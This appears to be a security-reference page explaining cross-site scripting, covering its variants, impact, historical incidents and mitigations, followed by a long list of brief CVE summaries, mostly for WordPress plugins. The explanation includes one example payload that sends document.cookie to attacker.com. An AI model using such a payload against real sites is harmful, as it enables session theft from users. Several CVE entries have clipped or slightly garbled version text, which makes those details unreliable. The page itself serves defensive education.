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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40696)

EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

gifplayer is a customizable jquery plugin to play and stop animated gifs. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in Sayski ForestBlog up to 20250321 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Forestblog Forestblog Project
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability has been found in Sayski ForestBlog up to 20250321 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Red Hat Forestblog +1
NVD GitHub VulDB
EPSS 0% CVSS 9.3
CRITICAL POC PATCH Act Now

Beego is an open-source web framework for the Go programming language. Rated critical severity (CVSS 9.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Suse Beego
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Xorcom CompletePBX is vulnerable to a reflected cross-site scripting (XSS) in the administrative control panel.2.35. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Completepbx Xorcom
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Tuleap is an Open Source Suite to improve management of software developments and collaboration. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Tuleap Enalean
NVD GitHub
EPSS 1% CVSS 8.4
HIGH POC This Week

OpenEMR is a free and open source electronic health records and medical practice management application. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openemr Open Emr
NVD GitHub
EPSS 1% CVSS 6.4
MEDIUM POC PATCH This Month

OpenEMR is a free and open source electronic health records and medical practice management application. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Openemr +1
NVD GitHub
EPSS 1% CVSS 7.2
HIGH POC PATCH This Week

OpenEMR is a free and open source electronic health records and medical practice management application. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Openemr +1
NVD GitHub
EPSS 0% CVSS 8.5
HIGH This Week

Coverity versions prior to 2024.9.0 are vulnerable to stored cross-site scripting (XSS) in various administrative interfaces. Rated high severity (CVSS 8.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jacob Allred Infusionsoft Web Form JavaScript allows Stored XSS.1.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in David Lingren Media Library Assistant allows Stored XSS.24. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ramanparashar Useinfluence allows Stored XSS.0.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LABCAT Processing Projects allows DOM-Based XSS.0.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in richtexteditor Rich Text Editor allows Stored XSS.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in davidpaulsson byBrick Accordion allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in carperfer CoverManager allows Stored XSS.0.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in owenr88 Simple Contact Forms allows Stored XSS.6.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hiroprot Terms Before Download allows Stored XSS.0.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in gingerplugins Notification Bar, Sticky Notification Bar, Sticky Welcome Bar for any theme allows. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in reDim GmbH CookieHint WP allows Stored XSS.0.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in flomei Simple-Audioplayer allows Stored XSS.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WeblineIndia Welcome Popup allows Stored XSS.0.10. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Cal.com Cal.com allows Stored XSS.com: from n/a through 1.0.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPFactory Quantity Dynamic Pricing & Bulk Discounts for WooCommerce allows Stored XSS.0.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in crazycric Ultimate Live Cricket WordPress Lite allows Stored XSS.4.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpdiscover Timeline Event History allows Stored XSS.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in OpenMenu OpenMenu allows Stored XSS.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Paolo Melchiorre Send E-mail allows Stored XSS.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in promoz73 Exit Popup Free allows Stored XSS.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Denra.com WP Date and Time Shortcode allows Stored XSS.6.7. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kibru Demeke Ethiopian Calendar allows Stored XSS.1.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in elfsight Elfsight Testimonials Slider allows Stored XSS.0.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GhozyLab Gallery - Photo Albums Plugin allows Stored XSS.3.170. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Ashish Ajani WP Copy Media URL allows Stored XSS.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Vasilis Triantafyllou Flag Icons allows Stored XSS.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SoftHopper Custom Content Scrollbar allows Stored XSS.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in wp-buy Related Posts Widget with Thumbnails allows Stored XSS.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in wp-buy wordpress related Posts with thumbnails allows Stored XSS.0.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesflat Themesflat Addons For Elementor allows Stored XSS.2.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in riosisgroup Rio Video Gallery allows Stored XSS.3.6. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Aphotrax Uptime Robot Plugin for WordPress allows DOM-Based XSS.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Caspio Bridge Custom Database Applications by Caspio allows DOM-Based XSS.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MiKa OSM - OpenStreetMap allows DOM-Based XSS.1.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IDX Broker IMPress for IDX Broker allows Stored XSS.2.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Agency Dominion Inc. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Twice Commerce Twice Commerce allows DOM-Based XSS.3.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in checklistcom Checklist allows Stored XSS.1.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PressTigers Simple Owl Carousel allows DOM-Based XSS.1.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Team AtomChat AtomChat allows Stored XSS.1.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

phpIPAM through 1.7.3 has a reflected Cross-Site Scripting (XSS) vulnerability in the install scripts. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required.

XSS Phpipam
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeix Churel allows DOM-Based XSS.0.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Theme
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetSmartFilters allows DOM-Based XSS.6.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ta2g Tantyyellow allows Reflected XSS.0.0.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Theme
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tinuzz Trackserver allows DOM-Based XSS.0.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

A Reflected Cross-Site Scripting (XSS) vulnerability has been discovered in FAST LTA Silent Brick WebUI, allowing attackers to inject malicious JavaScript code into web pages viewed by users. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

KNIME Business Hub is affected by several cross-site scripting vulnerabilities in its web pages. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Java Business Hub +1
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in Legrand SMS PowerView 1.x. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Stylemix Cost Calculator Builder allows Stored XSS.2.65. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound JetProductGallery allows DOM-Based XSS.1.22. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound JetSearch allows DOM-Based XSS.5.7. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound JetBlocks For Elementor allows Stored XSS.3.16. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability classified as problematic has been found in WCMS 11. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wcms
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Photo Gallery by 10Web WordPress plugin before 1.8.34 does not sanitised and escaped comment added on images by unauthenticated users, leading to an Unauthenticated Stored-XSS attack when. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in GFI KerioConnect 10.0.6. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Kerio Connect Gfi
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in GFI KerioConnect 10.0.6. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Upload Kerio Connect +1
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in GFI KerioConnect 10.0.6 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Kerio Connect Gfi
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability has been found in CodeCanyon Perfex CRM up to 3.2.1 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Perfex Crm Perfexcrm
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The ElementsKit Elementor addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Countdown Timer Widget ekit_countdown_timer_title parameter in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Elementskit Elementor Addons +3
NVD
EPSS 0% CVSS 5.5
MEDIUM POC This Month

OneNav 1.1.0 is vulnerable to Cross Site Scripting (XSS) in custom headers. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Onenav
NVD
EPSS 0% CVSS 6.5
MEDIUM POC This Month

shopxo v6.4.0 has a ssrf/xss vulnerability in multiple places. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS SSRF Shopxo
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In app/Controller/Component/RestResponseComponent.php in MISP before 2.4.193, REST endpoints have a lack of sanitization for non-JSON responses. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Misp
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

In MISP before 2.4.193, menu_custom_right_link_html parameters can be set via the UI (i.e., without using the CLI) and thus attackers with admin privileges can conduct XSS attacks against every page. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Misp
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

In MISP before 2.4.193, menu_custom_right_link parameters can be set via the UI (i.e., without using the CLI) and thus attackers with admin privileges can conduct XSS attacks via a global menu link. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Misp
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross Site Scripting vulnerability in Leantime v3.2.1 and before allows an authenticated attacker to execute arbitrary code and obtain sensitive information via the first name field in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Leantime
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in globalpayments GlobalPayments WooCommerce allows Reflected XSS.13.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in extendyourweb SUPER RESPONSIVE SLIDER allows Reflected XSS.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound ULTIMATE VIDEO GALLERY allows Reflected XSS.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Improve My City Improve My City allows Reflected XSS.6. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound WP Azure offload allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Microsoft +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Stencies Stencies allows Reflected XSS.58. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jajapagamentos Já-Já Pagamentos for WooCommerce allows Reflected XSS.3.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 1.8
LOW POC PATCH Monitor

Publify is a self hosted Web publishing platform on Rails. Rated low severity (CVSS 1.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Publify Publify Core
NVD GitHub
EPSS 0% CVSS 2.4
LOW Monitor

SaTECH BCU, in its firmware version 2.1.3, could allow XSS attacks and other malicious resources to be stored on the web server. Rated low severity (CVSS 2.4), this vulnerability is low attack complexity. No vendor patch available.

XSS Cors Misconfiguration Satech Bcu Firmware +1
NVD
EPSS 0% CVSS 2.0
LOW Monitor

SaTECH BCU in its firmware version 2.1.3 allows an attacker to inject malicious code into the legitimate website owning the affected device, once the cookie is set. Rated low severity (CVSS 2.0), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Satech Bcu Firmware Arteche
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in matthewprice1178 WP Database Optimizer allows Stored XSS.2.1.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Michele Marri Flatty allows Stored XSS.0.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Falcon Solutions Duplicate Page and Post allows Stored XSS.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

